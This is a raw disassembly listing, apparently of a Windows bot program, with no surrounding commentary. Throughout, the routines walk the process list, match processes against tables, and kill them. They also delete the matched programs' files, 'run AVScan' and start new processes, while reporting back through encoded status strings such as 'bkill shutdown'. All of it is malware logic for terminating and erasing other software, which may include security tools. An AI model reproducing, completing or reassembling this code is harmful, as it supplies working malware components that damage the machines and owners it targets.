		call	sub_4298F2
		pop	ecx
		xor	edi, edi
		push	edi
		push	45h
		push	offset dword_457CF8
		call	dword_456F7C	; inet_addr
		push	eax
		call	sub_4023BC
		add	esp, 0Ch
		test	eax, eax
		jnz	loc_41F4FB


loc_41F231:				; CODE XREF: sub_41F0F5+17Bj
		mov	ebx, dword_437178
		lea	esi, off_448918[edi]
		lea	eax, [ebp+var_1B0]
		push	dword ptr [esi]
		push	eax
		call	ebx ; dword_437178
		test	eax, eax
		jnz	short loc_41F24F
		and	byte ptr [ebp+arg_0+3],	al


loc_41F24F:				; CODE XREF: sub_41F0F5+155j
		lea	eax, [ebp+var_1B0]
		push	eax
		push	dword ptr [esi]
		call	sub_427B4E
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_41F267
		and	byte ptr [ebp+arg_0+3],	0


loc_41F267:				; CODE XREF: sub_41F0F5+16Cj
		add	edi, 4
		cmp	edi, 668h
		jb	short loc_41F231
		xor	edi, edi


loc_41F274:				; CODE XREF: sub_41F0F5+1B8j
		lea	esi, off_448F80[edi]
		lea	eax, [ebp+var_1B0]
		push	dword ptr [esi]
		push	eax
		call	ebx ; dword_437178
		test	eax, eax
		jnz	short loc_41F28C
		and	byte ptr [ebp+arg_0+3],	al


loc_41F28C:				; CODE XREF: sub_41F0F5+192j
		lea	eax, [ebp+var_1B0]
		push	eax
		push	dword ptr [esi]
		call	sub_427B4E
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_41F2A4
		and	byte ptr [ebp+arg_0+3],	0


loc_41F2A4:				; CODE XREF: sub_41F0F5+1A9j
		add	edi, 4
		cmp	edi, 88h
		jb	short loc_41F274
		xor	edi, edi


loc_41F2B1:				; CODE XREF: sub_41F0F5+1F5j
		lea	esi, off_449008[edi]
		lea	eax, [ebp+var_1B0]
		push	dword ptr [esi]
		push	eax
		call	ebx ; dword_437178
		test	eax, eax
		jnz	short loc_41F2C9
		and	byte ptr [ebp+arg_0+3],	al


loc_41F2C9:				; CODE XREF: sub_41F0F5+1CFj
		lea	eax, [ebp+var_1B0]
		push	eax
		push	dword ptr [esi]
		call	sub_427B4E
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_41F2E1
		and	byte ptr [ebp+arg_0+3],	0


loc_41F2E1:				; CODE XREF: sub_41F0F5+1E6j
		add	edi, 4
		cmp	edi, 0D0h
		jb	short loc_41F2B1
		and	[ebp+var_4], 0


loc_41F2F0:				; CODE XREF: sub_41F0F5+2EAj
		mov	eax, [ebp+var_4]
		push	off_447E68[eax]
		lea	eax, [ebp+var_1B0]
		push	eax
		call	ebx ; dword_437178
		test	eax, eax
		jnz	short loc_41F35F
		cmp	[ebp+var_18], eax
		jz	short loc_41F32E
		lea	eax, [ebp+var_1B0]
		push	eax
		push	offset aAl_N0kenp20 ; "Al./N0Kenp20"
		lea	eax, [ebp+var_A8]
		push	offset aSKillingS ; "%s	Killing	%s"
		push	eax
		push	[ebp+var_8]
		call	sub_41CE4A
		add	esp, 14h


loc_41F32E:				; CODE XREF: sub_41F0F5+214j
		sub	esp, 128h
		lea	eax, [ebp+var_A8]
		lea	esi, [ebp+var_1D4]
		push	4Ah
		pop	ecx
		mov	edi, esp
		push	eax
		push	[ebp+var_18]
		rep movsd
		push	[ebp+var_20]
		push	[ebp+var_AC]
		call	sub_41EFEF
		add	esp, 138h


loc_41F35F:				; CODE XREF: sub_41F0F5+20Fj
		lea	eax, [ebp+var_1B0]
		push	eax
		mov	eax, [ebp+var_4]
		push	off_447E68[eax]
		call	sub_427B4E
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_41F3D4
		cmp	[ebp+var_18], 0
		jz	short loc_41F3A3
		lea	eax, [ebp+var_1B0]
		push	eax
		push	offset aAl_N0kenp20 ; "Al./N0Kenp20"
		lea	eax, [ebp+var_A8]
		push	offset aSMatchedAndKil ; "%s Matched and killing %s"
		push	eax
		push	[ebp+var_8]
		call	sub_41CE4A
		add	esp, 14h


loc_41F3A3:				; CODE XREF: sub_41F0F5+289j
		sub	esp, 128h
		lea	eax, [ebp+var_A8]
		lea	esi, [ebp+var_1D4]
		push	4Ah
		pop	ecx
		mov	edi, esp
		push	eax
		push	[ebp+var_18]
		rep movsd
		push	[ebp+var_20]
		push	[ebp+var_AC]
		call	sub_41EFEF
		add	esp, 138h


loc_41F3D4:				; CODE XREF: sub_41F0F5+283j
		add	[ebp+var_4], 4
		cmp	[ebp+var_4], 0AACh
		jb	loc_41F2F0
		cmp	byte ptr [ebp+arg_0+3],	0
		jz	loc_41F487
		cmp	[ebp+var_18], 0
		jz	short loc_41F418
		lea	eax, [ebp+var_1B0]
		push	eax
		push	offset aAl_N0kenp20 ; "Al./N0Kenp20"
		lea	eax, [ebp+var_A8]
		push	offset aSRunningAvscan ; "%s Running AVScan on %s"
		push	eax
		push	[ebp+var_8]
		call	sub_41CE4A
		add	esp, 14h


loc_41F418:				; CODE XREF: sub_41F0F5+2FEj
		sub	esp, 128h
		lea	eax, [ebp+var_A8]
		lea	esi, [ebp+var_1D4]
		push	4Ah
		pop	ecx
		mov	edi, esp
		push	offset byte_4FFFFF
		push	400000h
		push	eax
		push	[ebp+var_18]
		rep movsd
		push	[ebp+var_20]
		push	[ebp+var_AC]
		call	sub_41EE89
		add	esp, 18h
		lea	eax, [ebp+var_A8]
		lea	esi, [ebp+var_1D4]
		push	4Ah
		pop	ecx
		mov	edi, esp
		push	1FFFFFh
		push	100000h
		push	eax
		push	[ebp+var_18]
		rep movsd
		push	[ebp+var_20]
		push	[ebp+var_AC]
		call	sub_41EE89
		add	esp, 140h
		jmp	short loc_41F48B
; ---------------------------------------------------------------------------


loc_41F487:				; CODE XREF: sub_41F0F5+2F4j
		mov	byte ptr [ebp+arg_0+3],	1


loc_41F48B:				; CODE XREF: sub_41F0F5+390j
		lea	eax, [ebp+var_1D4]
		push	eax
		push	[ebp+var_C]
		call	sub_4290B2	; Process32Next


loc_41F49A:				; CODE XREF: sub_41F0F5+90j
		test	eax, eax
		jnz	loc_41F18A
		push	[ebp+var_C]
		call	dword_437044	; CloseHandle
		call	sub_42BF90
		push	[ebp+var_28]
		call	sub_423623
		pop	ecx
		push	0
		call	dword_437174	; ExitThread


loc_41F4C1:				; CODE XREF: sub_41F0F5+106j
		cmp	[ebp+var_18], 0
		jz	short loc_41F4EA
		lea	eax, [ebp+var_1B0]
		push	eax
		push	offset aAl_N0kenp20 ; "Al./N0Kenp20"
		lea	eax, [ebp+var_A8]
		push	offset aSBkillShutdown ; "%s bkill shutdown for	wride."
		push	eax
		push	[ebp+var_8]
		call	sub_41CE4A
		add	esp, 14h


loc_41F4EA:				; CODE XREF: sub_41F0F5+3D0j
		push	[ebp+var_28]
		call	sub_423623
		pop	ecx
		push	0
		call	dword_437174	; ExitThread


loc_41F4FB:				; CODE XREF: sub_41F0F5+136j
		cmp	[ebp+var_18], edi
		jz	short loc_41F523
		lea	eax, [ebp+var_1B0]
		push	eax
		push	offset aAl_N0kenp20 ; "Al./N0Kenp20"
		lea	eax, [ebp+var_A8]
		push	offset aSBkillShutdown ; "%s bkill shutdown for	wride."
		push	eax
		push	[ebp+var_8]
		call	sub_41CE4A
		add	esp, 14h


loc_41F523:				; CODE XREF: sub_41F0F5+409j
		push	[ebp+var_28]
		call	sub_423623
		pop	ecx
		push	edi
		call	dword_437174	; ExitThread
sub_41F0F5	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41F533	proc near		; DATA XREF: sub_40A9FE+210Eo

var_418		= byte ptr -418h
var_314		= byte ptr -314h
var_29C		= byte ptr -29Ch
var_198		= byte ptr -198h
var_120		= dword	ptr -120h
var_F4		= dword	ptr -0F4h
var_F0		= word ptr -0F0h
var_DC		= dword	ptr -0DCh
var_D8		= byte ptr -0D8h
var_58		= dword	ptr -58h
var_54		= dword	ptr -54h
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 418h
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	31h
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_DC]
		rep movsd
		xor	edi, edi
		push	[ebp+var_54]
		inc	edi
		mov	esi, [ebp+var_48]
		mov	[eax+0BCh], edi
		mov	eax, [ebp+var_DC]
		mov	[ebp+arg_0], eax
		mov	eax, [ebp+var_44]
		mov	[ebp+var_18], eax
		lea	eax, [ebp+var_29C]
		push	eax
		call	dword_4370B4	; lstrcpyA
		lea	eax, [ebp+var_29C]
		push	104h
		push	eax
		lea	eax, [ebp+var_418]
		push	eax
		call	sub_429D10
		add	esp, 0Ch
		lea	eax, [ebp+var_418]
		push	eax
		call	dword_456EAC	; PathRemoveFileSpecA
		test	eax, eax
		jnz	short loc_41F607
		cmp	[ebp+var_28], eax
		mov	ebx, dword_437170
		mov	edi, offset aYdidb16dnmq_ ; "YdidB16dnMQ."
		mov	esi, offset aAl_N0kenp20 ; "Al./N0Kenp20"
		jnz	short loc_41F5DC
		cmp	[ebp+var_24], eax
		jnz	short loc_41F5E6
		call	ebx ; dword_437170
		push	eax
		push	edi
		push	esi
		lea	eax, [ebp+var_D8]
		push	offset aSCouldnTPars_0 ; "%s Couldn't parse path, %s <%d>"
		push	eax
		push	[ebp+arg_0]
		call	sub_41CE4A
		add	esp, 18h


loc_41F5DC:				; CODE XREF: sub_41F533+86j
		cmp	[ebp+var_24], 0
		jz	loc_41F6E1


loc_41F5E6:				; CODE XREF: sub_41F533+8Bj
		call	ebx ; dword_437170
		push	eax
		push	edi
		push	esi
		lea	eax, [ebp+var_D8]
		push	offset aSCouldnTPars_0 ; "%s Couldn't parse path, %s <%d>"
		push	eax
		push	[ebp+arg_0]
		call	sub_41CDD4
		add	esp, 18h
		jmp	loc_41F6E1
; ---------------------------------------------------------------------------


loc_41F607:				; CODE XREF: sub_41F533+71j
		xor	ebx, ebx
		push	44h
		lea	eax, [ebp+var_120]
		push	ebx
		push	eax
		call	sub_429760
		push	10h
		lea	eax, [ebp+var_14]
		push	ebx
		push	eax
		call	sub_429760
		add	esp, 18h
		lea	eax, [ebp+var_14]
		neg	esi
		push	eax
		lea	eax, [ebp+var_120]
		push	eax
		lea	eax, [ebp+var_418]
		push	eax
		push	ebx
		sbb	esi, esi
		push	ebx
		push	ebx
		and	esi, 0FFFFFFFBh
		push	ebx
		lea	eax, [ebp+var_29C]
		push	ebx
		add	esi, 5
		push	eax
		push	ebx
		mov	[ebp+var_120], 44h
		mov	[ebp+var_F4], edi
		mov	[ebp+var_F0], si
		call	dword_4370D8	; CreateProcessA
		test	eax, eax
		jnz	short loc_41F6E9
		cmp	[ebp+var_28], ebx
		mov	ebx, dword_437170
		mov	edi, offset aYdidb16dnmq_ ; "YdidB16dnMQ."
		mov	esi, offset aAl_N0kenp20 ; "Al./N0Kenp20"
		jnz	short loc_41F6B3
		cmp	[ebp+var_24], eax
		jnz	short loc_41F6B9
		call	ebx ; dword_437170
		push	eax
		lea	eax, [ebp+var_29C]
		push	edi
		push	eax
		push	offset aQvdspRbq6w0 ; "QvDsp/rBQ6w0"
		push	esi
		lea	eax, [ebp+var_D8]
		push	offset aSSToCreatePr_0 ; "%s %s	to create proc:	\"%s\",	%s: <%d>"
		push	eax
		push	[ebp+arg_0]
		call	sub_41CE4A
		add	esp, 20h


loc_41F6B3:				; CODE XREF: sub_41F533+151j
		cmp	[ebp+var_24], 0
		jz	short loc_41F6E1


loc_41F6B9:				; CODE XREF: sub_41F533+156j
		call	ebx ; dword_437170
		push	eax
		lea	eax, [ebp+var_29C]
		push	edi
		push	eax
		push	offset aQvdspRbq6w0 ; "QvDsp/rBQ6w0"
		push	esi
		lea	eax, [ebp+var_D8]
		push	offset aSSToCreatePr_0 ; "%s %s	to create proc:	\"%s\",	%s: <%d>"
		push	eax
		push	[ebp+arg_0]
		call	sub_41CDD4
		add	esp, 20h


loc_41F6E1:				; CODE XREF: sub_41F533+ADj
					; sub_41F533+CFj ...
		xor	eax, eax
		inc	eax
		jmp	loc_41F86F
; ---------------------------------------------------------------------------


loc_41F6E9:				; CODE XREF: sub_41F533+13Cj
		mov	edi, dword_437188
		call	edi ; dword_437188
		cmp	[ebp+var_28], 0
		mov	[ebp+var_4], eax
		mov	esi, offset aAl_N0kenp20 ; "Al./N0Kenp20"
		mov	ebx, offset aSCreatedProcSP ; "%s Created proc:	\"%s\",	PID: <%d>"
		jnz	short loc_41F728
		cmp	[ebp+var_24], 0
		jnz	short loc_41F72E
		push	[ebp+var_C]
		lea	eax, [ebp+var_29C]
		push	eax
		push	esi
		lea	eax, [ebp+var_D8]
		push	ebx
		push	eax
		push	[ebp+arg_0]
		call	sub_41CE4A
		add	esp, 18h


loc_41F728:				; CODE XREF: sub_41F533+1CFj
		cmp	[ebp+var_24], 0
		jz	short loc_41F74C


loc_41F72E:				; CODE XREF: sub_41F533+1D5j
		push	[ebp+var_C]
		lea	eax, [ebp+var_29C]
		push	eax
		push	esi
		lea	eax, [ebp+var_D8]
		push	ebx
		push	eax
		push	[ebp+arg_0]
		call	sub_41CDD4
		add	esp, 18h


loc_41F74C:				; CODE XREF: sub_41F533+1F9j
		cmp	[ebp+var_28], 0
		jnz	loc_41F848
		cmp	[ebp+var_18], 0
		jz	loc_41F848
		push	0FFFFFFFFh
		push	[ebp+var_14]
		call	dword_43707C	; WaitForSingleObject
		call	edi ; dword_437188
		sub	eax, [ebp+var_4]
		xor	edx, edx
		mov	ecx, 3E8h
		push	3Ch
		div	ecx
		xor	edx, edx
		mov	ecx, 15180h
		pop	edi
		and	[ebp+var_198], 0
		div	ecx
		mov	ecx, 0E10h
		mov	eax, edx
		xor	edx, edx
		div	ecx
		mov	ecx, eax
		mov	eax, edx
		xor	edx, edx
		div	edi
		mov	edi, dword_437090
		test	ecx, ecx
		mov	ebx, edx
		mov	[ebp+var_4], eax
		jbe	short loc_41F7E3
		cmp	ecx, 1
		mov	eax, offset aHour ; " hour"
		jz	short loc_41F7BD
		mov	eax, offset aHours ; " hours"


loc_41F7BD:				; CODE XREF: sub_41F533+283j
		push	eax
		push	ecx
		lea	eax, [ebp+var_314]
		push	offset aDS	; " %d%s"
		push	eax
		call	sub_429B03
		add	esp, 10h
		lea	eax, [ebp+var_314]
		push	eax
		lea	eax, [ebp+var_198]
		push	eax
		call	edi ; dword_437090


loc_41F7E3:				; CODE XREF: sub_41F533+279j
		push	ebx
		lea	eax, [ebp+var_314]
		push	[ebp+var_4]
		push	offset a_2d_2d	; " %.2d:%.2d"
		push	eax
		call	sub_429B03
		add	esp, 10h
		lea	eax, [ebp+var_314]
		push	eax
		lea	eax, [ebp+var_198]
		push	eax
		call	edi ; dword_437090
		lea	eax, [ebp+var_198]
		cmp	[ebp+var_24], 0
		push	eax
		lea	eax, [ebp+var_29C]
		push	offset aIhfnL6b5x ; "/iHFN/l6B5X/"
		push	eax
		push	offset aSfe3h0kclgx0 ; "SFe3H0kCLgx0"
		lea	eax, [ebp+var_D8]
		push	esi
		push	offset aSProcsSSTotalS ; "%s Procs %s: \"%s\", Total %s	Time: %s."
		push	eax
		push	[ebp+arg_0]
		jnz	short loc_41F840
		call	sub_41CE4A
		jmp	short loc_41F845
; ---------------------------------------------------------------------------


loc_41F840:				; CODE XREF: sub_41F533+304j
		call	sub_41CDD4


loc_41F845:				; CODE XREF: sub_41F533+30Bj
		add	esp, 20h


loc_41F848:				; CODE XREF: sub_41F533+21Dj
					; sub_41F533+227j
		cmp	[ebp+var_14], 0
		mov	esi, dword_437044
		jz	short loc_41F859
		push	[ebp+var_14]
		call	esi ; dword_437044


loc_41F859:				; CODE XREF: sub_41F533+31Fj
		cmp	[ebp+var_10], 0
		jz	short loc_41F864
		push	[ebp+var_10]
		call	esi ; dword_437044


loc_41F864:				; CODE XREF: sub_41F533+32Aj
		push	[ebp+var_58]
		call	sub_423623
		pop	ecx
		xor	eax, eax


loc_41F86F:				; CODE XREF: sub_41F533+1B1j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	4
sub_41F533	endp


; =============== S U B	R O U T	I N E =======================================



sub_41F876	proc near		; DATA XREF: sub_40A9FE+1FD6o
		mov	eax, offset loc_436654
		call	sub_42B7CC
		mov	eax, 2AF8h
		call	sub_429B60
		mov	eax, [ebp+8]
		push	ebx
		push	esi
		push	edi
		push	31h
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp-0E0h]
		rep movsd
		mov	edi, [ebp-0E0h]
		xor	esi, esi
		xor	ebx, ebx
		inc	esi
		cmp	[ebp-4Ch], ebx
		mov	[eax+0BCh], esi
		mov	[ebp+8], edi
		jz	loc_41FA40
		mov	al, [ebp+0Bh]
		push	ebx
		push	ebx
		lea	ecx, [ebp-1Ch]
		mov	[ebp-1Ch], al
		call	sub_4202E3
		mov	[ebp-18h], eax
		mov	[ebp-14h], ebx
		push	dword ptr [ebp-54h]
		lea	eax, [ebp-1Ch]
		mov	[ebp-4], ebx
		push	eax
		call	sub_41FC58
		pop	ecx
		test	al, al
		pop	ecx
		jz	loc_41F9DF
		cmp	[ebp-28h], ebx
		mov	esi, offset aAl_N0kenp20 ; "Al./N0Kenp20"
		lea	eax, [ebp-0DCh]
		push	esi
		push	offset aSProcsList ; "%s Procs List:"
		push	eax
		push	edi
		jnz	short loc_41F908
		call	sub_41CE4A
		jmp	short loc_41F90D
; ---------------------------------------------------------------------------


loc_41F908:				; CODE XREF: sub_41F876+89j
		call	sub_41CDD4


loc_41F90D:				; CODE XREF: sub_41F876+90j
		add	esp, 10h
		cmp	[ebp-30h], ebx
		mov	edi, offset aPidAMemoryUsag ; "	PID   -	Memory Usage - Process"
		jz	short loc_41F932
		cmp	[ebp-28h], ebx
		jnz	short loc_41F937
		lea	eax, [ebp-0DCh]
		push	edi
		push	eax
		push	dword ptr [ebp+8]
		call	sub_41CE4A
		add	esp, 0Ch


loc_41F932:				; CODE XREF: sub_41F876+A2j
		cmp	[ebp-28h], ebx
		jz	short loc_41F94A


loc_41F937:				; CODE XREF: sub_41F876+A7j
		lea	eax, [ebp-0DCh]
		push	edi
		push	eax
		push	dword ptr [ebp+8]
		call	sub_41CDD4
		add	esp, 0Ch


loc_41F94A:				; CODE XREF: sub_41F876+BFj
		mov	eax, [ebp-18h]
		mov	edi, [eax]
		cmp	edi, eax
		jz	short loc_41F9B9


loc_41F953:				; CODE XREF: sub_41F876+13Fj
		mov	eax, [edi+108h]
		lea	ebx, [edi+10Ch]
		push	offset aK	; " K"
		push	ebx
		mov	[ebp-10h], eax
		call	dword_437090	; lstrcatA
		lea	eax, [edi+8]
		push	eax
		push	ebx
		push	dword ptr [ebp-10h]
		lea	eax, [ebp-2B04h]
		push	offset a6d10sS	; " %-6d- %-10s- \"%s\""
		push	eax
		call	sub_429B03
		add	esp, 14h
		cmp	dword ptr [ebp-28h], 0
		lea	eax, [ebp-2B04h]
		push	eax
		lea	eax, [ebp-0DCh]
		push	eax
		push	dword ptr [ebp+8]
		jnz	short loc_41F9A8
		call	sub_41CE4A
		jmp	short loc_41F9AD
; ---------------------------------------------------------------------------


loc_41F9A8:				; CODE XREF: sub_41F876+129j
		call	sub_41CDD4


loc_41F9AD:				; CODE XREF: sub_41F876+130j
		mov	edi, [edi]
		add	esp, 0Ch
		cmp	edi, [ebp-18h]
		jnz	short loc_41F953
		xor	ebx, ebx


loc_41F9B9:				; CODE XREF: sub_41F876+DBj
		cmp	[ebp-28h], ebx
		lea	eax, [ebp-0DCh]
		push	esi
		push	offset aSEndOfList ; "%s End of	list"
		push	eax
		push	dword ptr [ebp+8]
		jnz	short loc_41F9D8
		call	sub_41CE4A


loc_41F9D3:				; CODE XREF: sub_41F876+167j
		add	esp, 10h
		jmp	short loc_41FA2F
; ---------------------------------------------------------------------------


loc_41F9D8:				; CODE XREF: sub_41F876+156j
		call	sub_41CDD4
		jmp	short loc_41F9D3
; ---------------------------------------------------------------------------


loc_41F9DF:				; CODE XREF: sub_41F876+6Dj
		cmp	[ebp-28h], ebx
		jnz	short loc_41FA09
		call	dword_437170	; RtlGetLastWin32Error
		push	eax
		push	offset aYdidb16dnmq_ ; "YdidB16dnMQ."
		push	offset aAl_N0kenp20 ; "Al./N0Kenp20"
		lea	eax, [ebp-0DCh]
		push	offset aSUnableToListP ; "%s Unable to list procs, %s: <%d>"
		push	eax
		push	edi
		call	sub_41CE4A
		jmp	short loc_41FA2C
; ---------------------------------------------------------------------------


loc_41FA09:				; CODE XREF: sub_41F876+16Cj
		call	dword_437170	; RtlGetLastWin32Error
		push	eax
		push	offset aYdidb16dnmq_ ; "YdidB16dnMQ."
		push	offset aAl_N0kenp20 ; "Al./N0Kenp20"
		lea	eax, [ebp-0DCh]
		push	offset aSUnableToListP ; "%s Unable to list procs, %s: <%d>"
		push	eax
		push	edi
		call	sub_41CDD4


loc_41FA2C:				; CODE XREF: sub_41F876+191j
		add	esp, 18h


loc_41FA2F:				; CODE XREF: sub_41F876+160j
		or	dword ptr [ebp-4], 0FFFFFFFFh
		lea	ecx, [ebp-1Ch]
		call	sub_420245
		jmp	loc_41FC2D
; ---------------------------------------------------------------------------


loc_41FA40:				; CODE XREF: sub_41F876+3Ej
		cmp	[ebp-48h], ebx
		jz	loc_41FC2D
		cmp	[ebp-44h], ebx
		jnz	loc_41FB28
		lea	eax, [ebp-0F0h]
		push	eax
		push	dword ptr [ebp-58h]
		call	sub_41FE3F
		pop	ecx
		test	al, al
		pop	ecx
		jz	short loc_41FAAE
		cmp	[ebp-2Ch], ebx
		mov	esi, offset aAl_N0kenp20 ; "Al./N0Kenp20"
		mov	edi, offset aSProSKilledTot ; "%s Pro \"%s\" killed,total: <%s>"
		jnz	short loc_41FA99
		cmp	[ebp-28h], ebx
		jnz	short loc_41FAA2
		lea	eax, [ebp-0F0h]
		push	eax
		lea	eax, [ebp-0DCh]
		push	dword ptr [ebp-58h]
		push	esi
		push	edi
		push	eax
		push	dword ptr [ebp+8]
		call	sub_41CE4A
		add	esp, 18h


loc_41FA99:				; CODE XREF: sub_41F876+1FEj
		cmp	[ebp-28h], ebx
		jz	loc_41FC2D


loc_41FAA2:				; CODE XREF: sub_41F876+203j
		lea	eax, [ebp-0F0h]
		push	eax
		push	dword ptr [ebp-58h]
		jmp	short loc_41FB05
; ---------------------------------------------------------------------------


loc_41FAAE:				; CODE XREF: sub_41F876+1EFj
		push	dword ptr [ebp-58h]
		call	sub_42A100
		push	eax
		call	sub_420105
		pop	ecx
		mov	esi, offset aAl_N0kenp20 ; "Al./N0Kenp20"
		test	eax, eax
		pop	ecx
		jz	short loc_41FB1E
		mov	edi, offset aSPidIKilled ; "%s PID \"%i\" killed"


loc_41FACC:				; CODE XREF: sub_41F876+3DDj
		cmp	[ebp-2Ch], ebx
		jnz	short loc_41FAF3
		cmp	[ebp-28h], ebx
		jnz	short loc_41FAFC
		push	dword ptr [ebp-58h]
		call	sub_42A100
		push	eax
		push	esi
		lea	eax, [ebp-0DCh]
		push	edi
		push	eax
		push	dword ptr [ebp+8]
		call	sub_41CE4A
		add	esp, 18h


loc_41FAF3:				; CODE XREF: sub_41F876+259j
		cmp	[ebp-28h], ebx
		jz	loc_41FC2D


loc_41FAFC:				; CODE XREF: sub_41F876+25Ej
		push	dword ptr [ebp-58h]
		call	sub_42A100
		push	eax


loc_41FB05:				; CODE XREF: sub_41F876+236j
		push	esi
		lea	eax, [ebp-0DCh]
		push	edi
		push	eax
		push	dword ptr [ebp+8]
		call	sub_41CDD4
		add	esp, 18h
		jmp	loc_41FC2D
; ---------------------------------------------------------------------------


loc_41FB1E:				; CODE XREF: sub_41F876+24Fj
		mov	edi, offset aSFailedToKillP ; "%s Failed to kill proc"
		jmp	loc_41FBF6
; ---------------------------------------------------------------------------


loc_41FB28:				; CODE XREF: sub_41F876+1D6j
		lea	eax, [ebp-1F4h]
		push	eax
		push	dword ptr [ebp-58h]
		call	sub_42A100
		pop	ecx
		push	eax
		call	sub_42015A
		push	eax
		lea	eax, [ebp-1F4h]
		push	offset aS_5	; "%s"
		push	eax
		call	sub_429B03
		lea	eax, [ebp-3F4h]
		push	eax
		lea	eax, [ebp-2F4h]
		push	eax
		push	ebx
		lea	eax, [ebp-1F4h]
		push	ebx
		push	eax
		call	sub_42BF95
		add	esp, 28h
		lea	eax, [ebp-3F4h]
		push	eax
		lea	eax, [ebp-2F4h]
		push	eax
		call	dword_437090	; lstrcatA
		xor	edi, edi
		mov	[ebp-10h], ebx


loc_41FB88:				; CODE XREF: sub_41F876+374j
		push	dword ptr [ebp-58h]
		call	sub_42A100
		push	eax
		call	sub_420105
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_41FB9E
		mov	edi, esi


loc_41FB9E:				; CODE XREF: sub_41F876+324j
		lea	eax, [ebp-1F4h]
		push	80h
		push	eax
		call	dword_437068	; SetFileAttributesA
		lea	eax, [ebp-1F4h]
		push	eax
		call	dword_437060	; DeleteFileA
		test	eax, eax
		jnz	loc_41FC49
		cmp	edi, ebx
		jz	short loc_41FBD8
		lea	eax, [ebp-2F4h]
		push	ebx
		push	eax
		call	sub_41FE3F
		pop	ecx
		pop	ecx


loc_41FBD8:				; CODE XREF: sub_41F876+351j
		push	3E8h
		call	dword_437190	; Sleep
		inc	dword ptr [ebp-10h]
		cmp	dword ptr [ebp-10h], 5
		jl	short loc_41FB88
		mov	esi, offset aAl_N0kenp20 ; "Al./N0Kenp20"
		mov	edi, offset aSFailedToKillA ; "%s Failed to kill and erase proc"


loc_41FBF6:				; CODE XREF: sub_41F876+2ADj
		cmp	[ebp-2Ch], ebx
		jnz	short loc_41FC14
		cmp	[ebp-28h], ebx
		jnz	short loc_41FC19
		push	esi
		lea	eax, [ebp-0DCh]
		push	edi
		push	eax
		push	dword ptr [ebp+8]
		call	sub_41CE4A
		add	esp, 10h


loc_41FC14:				; CODE XREF: sub_41F876+383j
		cmp	[ebp-28h], ebx
		jz	short loc_41FC2D


loc_41FC19:				; CODE XREF: sub_41F876+388j
		push	esi
		lea	eax, [ebp-0DCh]
		push	edi
		push	eax
		push	dword ptr [ebp+8]
		call	sub_41CDD4
		add	esp, 10h


loc_41FC2D:				; CODE XREF: sub_41F876+1C5j
					; sub_41F876+1CDj ...
		push	dword ptr [ebp-5Ch]
		call	sub_423623
		pop	ecx
		pop	edi
		mov	ecx, [ebp-0Ch]
		pop	esi
		xor	eax, eax
		pop	ebx
		mov	large fs:0, ecx
		leave
		retn	4
; ---------------------------------------------------------------------------


loc_41FC49:				; CODE XREF: sub_41F876+349j
		mov	esi, offset aAl_N0kenp20 ; "Al./N0Kenp20"
		mov	edi, offset aSPidIKilledAnd ; "%s PID \"%i\" killed and	deleted"
		jmp	loc_41FACC
sub_41F876	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41FC58	proc near		; CODE XREF: sub_41F876+64p

var_15CC	= byte ptr -15CCh
var_5CC		= byte ptr -5CCh
var_3CC		= byte ptr -3CCh
var_2CC		= byte ptr -2CCh
var_1CC		= dword	ptr -1CCh
var_1C8		= byte ptr -1C8h
var_148		= dword	ptr -148h
var_144		= dword	ptr -144h
var_140		= byte ptr -140h
var_44		= byte ptr -44h
var_38		= dword	ptr -38h
var_1C		= byte ptr -1Ch
var_18		= byte ptr -18h
var_14		= byte ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		mov	eax, 15CCh
		call	sub_429B60
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_15CC]
		push	1000h
		push	eax
		call	dword_456F30
		test	eax, eax
		jnz	short loc_41FC83
		xor	al, al
		leave
		retn
; ---------------------------------------------------------------------------


loc_41FC83:				; CODE XREF: sub_41FC58+25j
		mov	eax, [ebp+var_8]
		push	edi
		shr	eax, 2
		mov	[ebp+var_10], eax
		mov	eax, dword_4473F8
		push	3Fh
		mov	[ebp+var_148], eax
		mov	eax, dword_4473FC
		pop	ecx
		push	0
		mov	[ebp+var_144], eax
		pop	eax
		lea	edi, [ebp+var_140]
		rep stosd
		mov	[ebp+var_4], eax
		jz	loc_41FE3A
		push	ebx
		push	esi
		mov	ebx, offset aS_5 ; "%s"


loc_41FCC1:				; CODE XREF: sub_41FC58+1DAj
		mov	eax, [ebp+var_4]
		lea	esi, [ebp+eax*4+var_15CC]
		push	dword ptr [esi]
		push	0
		push	410h
		call	dword_437114	; OpenProcess
		mov	edi, eax
		test	edi, edi
		jz	loc_41FE29
		lea	eax, [ebp+var_1C]
		push	eax
		lea	eax, [ebp+var_C]
		push	4
		push	eax
		push	edi
		call	dword_456EEC
		test	eax, eax
		jz	loc_41FE22
		lea	eax, [ebp+var_148]
		push	104h
		push	eax
		push	[ebp+var_C]
		push	edi
		call	dword_456EE4
		lea	eax, [ebp+var_148]
		push	eax
		lea	eax, [ebp+var_2CC]
		push	ebx
		push	eax
		call	sub_429B03
		mov	eax, [esi]
		add	esp, 0Ch
		mov	[ebp+var_1CC], eax
		lea	eax, [ebp+var_44]
		push	28h
		push	eax
		push	edi
		call	dword_456FA0
		test	eax, eax
		jz	short loc_41FD69
		mov	eax, [ebp+var_38]
		push	0
		shr	eax, 0Ah
		push	eax
		call	sub_427E4F
		push	eax
		push	ebx
		lea	eax, [ebp+var_1C8]
		push	80h
		push	eax
		call	sub_429BBE
		add	esp, 18h
